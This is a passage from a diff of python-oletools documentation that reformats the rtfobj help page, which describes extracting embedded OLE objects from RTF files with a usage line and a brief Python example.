  97 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  98 +<li><p>Tools:</p>
  99 +<ul>
  100 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  101 +<li><p><a href="oleid.html">oleid</a></p></li>
  102 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  103 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  104 +<li><p><a href="olevba.html">olevba</a></p></li>
  105 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  106 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  107 +</ul></li>
  108 +</ul>
oletools/doc/rtfobj.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="rtfobj">rtfobj</h1>  
11 -<p>rtfobj is a Python module to extract embedded objects from RTF files, such as OLE ojects. It can be used as a Python library or a command-line tool.</p>  
12 -<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>  
13 -<h2 id="usage">Usage</h2>  
14 -<pre><code>rtfobj.py &lt;file.rtf&gt;</code></pre>  
15 -<p>It extracts and decodes all the data blocks encoded as hexadecimal in the RTF document, and saves them as files named &quot;object_xxxx.bin&quot;, xxxx being the location of the object in the RTF file.</p>  
16 -<h2 id="how-to-use-rtfobj-in-python-applications">How to use rtfobj in Python applications</h2>  
17 -<p>Usage as a python module:</p>  
18 -<p>rtf_iter_objects(filename) is an iterator which yields a tuple (index, object) providing the index of each hexadecimal stream in the RTF file, and the corresponding decoded object.</p>  
19 -<p>Example:</p>  
20 -<pre><code>import rtfobj  
21 -for index, data in rtfobj.rtf_iter_objects(&quot;myfile.rtf&quot;):  
22 - print &#39;found object size %d at index %08X&#39; % (len(data), index)</code></pre>  
23 -<hr />  
24 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
25 -<ul>  
26 -<li><a href="Home.html">Home</a></li>  
27 -<li><a href="License.html">License</a></li>  
28 -<li><a href="Install.html">Install</a></li>  
29 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
30 -<li>Tools:  
31 -<ul>  
32 -<li><a href="olebrowse.html">olebrowse</a></li>  
33 -<li><a href="oleid.html">oleid</a></li>  
34 -<li><a href="olemeta.html">olemeta</a></li>  
35 -<li><a href="oletimes.html">oletimes</a></li>  
36 -<li><a href="olevba.html">olevba</a></li>  
37 -<li><a href="pyxswf.html">pyxswf</a></li>  
38 -<li><a href="rtfobj.html">rtfobj</a></li>  
39 -</ul></li>  
40 -</ul>  
41 -</body>  
42 -</html> 1 +<p>rtfobj</p>
  2 +<p>======</p>
  3 +<p>rtfobj is a Python module to extract embedded objects from RTF files, such as</p>
  4 +<p>OLE ojects. It can be used as a Python library or a command-line tool.</p>
  5 +<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>
  6 +<h2 id="usage">Usage</h2>
  7 +<pre><code>rtfobj.py &lt;file.rtf&gt;</code></pre>
  8 +<p>It extracts and decodes all the data blocks encoded as hexadecimal in the RTF document, and saves them as files named &quot;object_xxxx.bin&quot;, xxxx being the location of the object in the RTF file.</p>
  9 +<h2 id="how-to-use-rtfobj-in-python-applications">How to use rtfobj in Python applications</h2>
  10 +<p>Usage as a python module:</p>
  11 +<p>rtf_iter_objects(filename) is an iterator which yields a tuple (index, object) providing the index of each hexadecimal stream in the RTF file, and the corresponding decoded object.</p>
  12 +<p>Example:</p>
  13 +<pre><code>import rtfobj
  14 +
  15 +for index, data in rtfobj.rtf_iter_objects(&quot;myfile.rtf&quot;):
  16 +
  17 + print &#39;found object size %d at index %08X&#39; % (len(data), index)</code></pre>
  18 +<hr />
  19 +<p>python-oletools documentation</p>
  20 +<hr />
  21 +<ul>
  22 +<li><p><a href="Home.html">Home</a></p></li>
  23 +<li><p><a href="License.html">License</a></p></li>
  24 +<li><p><a href="Install.html">Install</a></p></li>
  25 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  26 +<li><p>Tools:</p>
  27 +<ul>
  28 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  29 +<li><p><a href="oleid.html">oleid</a></p></li>
  30 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  31 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  32 +<li><p><a href="olevba.html">olevba</a></p></li>
  33 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  34 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  35 +</ul></li>
  36 +</ul>